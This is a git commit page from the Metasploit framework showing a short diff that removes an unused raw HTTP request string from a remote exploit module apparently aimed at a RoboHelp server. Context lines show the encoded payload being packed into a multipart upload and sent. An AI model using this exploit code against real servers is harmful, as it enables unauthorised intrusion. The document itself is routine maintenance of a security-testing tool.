commit MC's patch to remove the unused 'req' string.
git-svn-id: file:///home/svn/framework3/trunk@7074 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
714e887a60
commit
53b0709a64
|
@ -59,13 +59,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
file << payload.encoded
|
||||
file << "\r\n"
|
||||
|
||||
req = "POST /robohelp/server?PUBLISH=#{uid} HTTP/1.1\r\n"
|
||||
req << "Host: #{rhost}:#{rport}\r\n"
|
||||
req << "UID: #{uid}\r\n"
|
||||
req << "Content-Type: multipart/form-data; boundary=---------------------------#{uid}\r\n"
|
||||
req << "Content-Length: #{file.length}\r\n\r\n"
|
||||
req << file
|
||||
|
||||
print_status("Sending our POST request...")
|
||||
|
||||
res = send_request_cgi(
|
||||
|
|
Loading…
Reference in New Issue